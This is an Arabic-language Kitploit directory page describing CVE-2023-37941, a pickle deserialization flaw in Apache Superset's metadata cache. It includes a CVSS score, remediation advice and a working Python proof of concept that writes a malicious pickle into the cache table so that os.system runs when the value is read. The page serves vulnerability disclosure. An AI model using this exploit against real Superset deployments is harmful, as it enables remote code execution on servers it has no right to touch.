Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-37941 — استغلال ذاكرة التخزين المؤقت الافتراضية لـ Superset باستخدام pickle | Kitploit
أدوات/GitHubGitHub/barroqueiro/cve-2023-37941
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubbarroqueiro/cve-2023-37941

CVE-2023-37941

استغلال ذاكرة التخزين المؤقت الافتراضية لـ Superset باستخدام pickle

عرض المستودع
12منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال تنفيذ الأوامر عن بُعد (RCE) عبر Pickle في ذاكرة التخزين المؤقت الافتراضية لـ Superset

المعلومات

root@kitploit:~
[ المؤلف ] Dinis Cruz
[ المشروع ] Superset

الوصف

يقدم Apache Superset خيارات مختلفة للتخزين المؤقت، جميعها تعتمد على Flask-Caching. يوفر ذاكرة تخزين مؤقت مدمجة تقوم بتسلسل القيم لاسترجاعها لاحقاً. يتم هذا التسلسل والاسترجاع باستخدام Pickle، مما يسمح بإلغاء تسلسل كائنات Python وبالتالي تنفيذ الأكواد.

تقوم ذاكرة التخزين المؤقت المدمجة بكتابة المعلومات داخل قاعدة البيانات الوصفية، مما يعني أن المهاجم الذي لديه حق الوصول إلى قاعدة البيانات هذه يمكنه تصعيد صلاحياته والحصول على وصول عن بُعد إلى الجهاز/الحاوية التي تخدم Superset.

عنوان URL المتأثر [أو المكون]

فئة MetaStoreCache، والتي تستخدم فئة PickleKeyValueCodec لتسلسل المعلومات.

إثبات المفهوم (PoC)

تم إعادة إنتاج هذه المشكلة عن طريق إنشاء تثبيت نظيف لـ Superset يستخدم ذاكرة التخزين المؤقت المدمجة كإعداد افتراضي. مع المعرفة المسبقة بأن الوصول إلى قاعدة البيانات مطلوب لاستغلال هذه المشكلة. يمكننا تحديث قيم جميع القيم المخزنة مؤقتاً باستخدام استغلال Pickle. لاحقًا، بمجرد إعادة القيمة إلى المستخدم، سيقوم وحدة Pickle بتسلسل البيانات وتنفيذ الكود الخاص بنا. يمكن العثور على إثبات المفهوم بلغة Python أدناه.

root@kitploit:~
import os
import psycopg2
import pickle5 as pickle

class RCE:
    def __reduce__(self):
        cmd = ('touch /tmp/evil.sh')
        return os.system, (cmd,)

def exploit():
    pickled = pickle.dumps(RCE())

    con = psycopg2.connect(
        database="superset",
        user="superset",
        password="superset",
        host="localhost",
        port= '5432'
    )

    cursor = con.cursor()

    cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
    con.commit()

if __name__ == '__main__':
    exploit()

يقوم هذا البرنامج النصي بتحديث جميع القيم المخزنة مؤقتاً داخل قاعدة البيانات، وبمجرد إعادة البيانات إلى المستخدم، يتم إنشاء ملف evil.sh داخل الدليل /tmp لأغراض العرض التوضيحي.

المستخدمون المتأثرون

يمكن أن يتأثر جميع المستخدمين.

CWE

  • CWE-502

نقاط CVSS

  • متجه الهجوم (AV) - الشبكة (N)
  • تعقيد الهجوم (AC) - منخفض (L)
  • الصلاحيات المطلوبة (PR) - عالية (H)
  • تفاعل المستخدم (UI) - لا شيء (N)
  • النطاق (S) - متغير (C)
  • السرية (C) - عالية (H)
  • السلامة (I) - عالية (H)
  • التوفر (A) - عالية (H)

النتيجة: 9.1

الإصلاح المقترح (التدابير العلاجية)

بينما يقع الإصلاح على عاتق فريق Superset، فإن المشكلة الكبرى تكمن في استخدام Pickle لتسلسل البيانات. على حد فهمي من الالتزام #23888، تم التحول إلى إزالة تسلسل Pickle من المكونات الأخرى ولكن تم الاحتفاظ بهذا المكون بسبب الحاجة إلى 'معالجة الأنواع الثنائية التعسفية'. الحل الأنظف سيكون التحول إلى آلية تسلسل أخرى، ومع ذلك يمكن للمرء تنفيذ مُلغِي تسلسل مقيد وهو ليس حلاً مضموناً ولكنه قد يتطلب عملاً أقل عند التنفيذ.

المتطلبات الأساسية

الوصول إلى قاعدة البيانات الوصفية المستخدمة من قبل تثبيت Superset.

الأدوات المستخدمة والإعداد المطلوب

لا حاجة لإعداد خاص، فقط لمفسر Python لتوليد الحمولة، يمكن إدخال الحمولة الخبيثة في قاعدة البيانات بطرق متنوعة.

تنزيل الأداة